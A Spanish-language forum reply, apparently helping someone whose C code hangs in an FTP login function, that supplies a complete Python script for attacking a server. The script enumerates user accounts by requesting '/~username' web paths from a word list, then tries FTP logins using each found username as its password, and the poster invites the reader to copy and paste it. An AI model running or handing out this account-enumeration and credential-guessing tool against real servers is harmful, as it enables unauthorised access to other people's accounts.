El problema esta adentro de la funcion trylogonFTP()
Lo que tiene que hacer es simple, escribirlo en C es romperse la cabeza... ni conviene ponerse a ver donde se cuelga (que debe ser en algun recv)
Aca te hice uno que hace lo mismo pero en python. Menos lineas y muuucho mas facil de entender/corregir/mantener/mejorar/etc...
#!/usr/bin/python
import sys
import httplib
from ftplib import FTP
def usage():
print "Usage:"
print sys.argv[0] + " localhost users.txt"
return
if len(sys.argv) < 3:
print "#ERROR# Not enough arguments"
usage()
exit()
host = sys.argv[1]
fusers = sys.argv[2]
# Abrir archivo con usuarios
users = open(fusers, 'r')
print "Search for http users"
# Intentar conexiones por http y guardar los usuarios validos
valid_users = []
for user in users:
user = user.strip()
if not user:
continue
# Conectarse al servidor http
conn = httplib.HTTPConnection(host)
# Probar con el usuario user
print "Trying user " + user + " ...",
conn.request("GET", "/~{0}".format(user))
res = conn.getresponse()
if res.status == 404: # respuesta 404
print "not found"
else:
print "OK!"
# Salvar usuario
valid_users.append(user)
# Salir si no se encontro ningun usuario
if len(valid_users) == 0:
print "No user has been found. Aborting!"
exit()
# Probar por ftp ahora
print "Try login to ftp server"
for vuser in valid_users:
print "Trying user " + vuser + "...",; sys.stdout.flush()
try:
ftp = FTP(host, user = vuser, passwd = vuser)
ftp.quit()
print "OK!"
except:
print "refused"
Copialo y pegalo. Le pasas el host y el nombre del archivo como parametros. Espero te sirva
Saludos!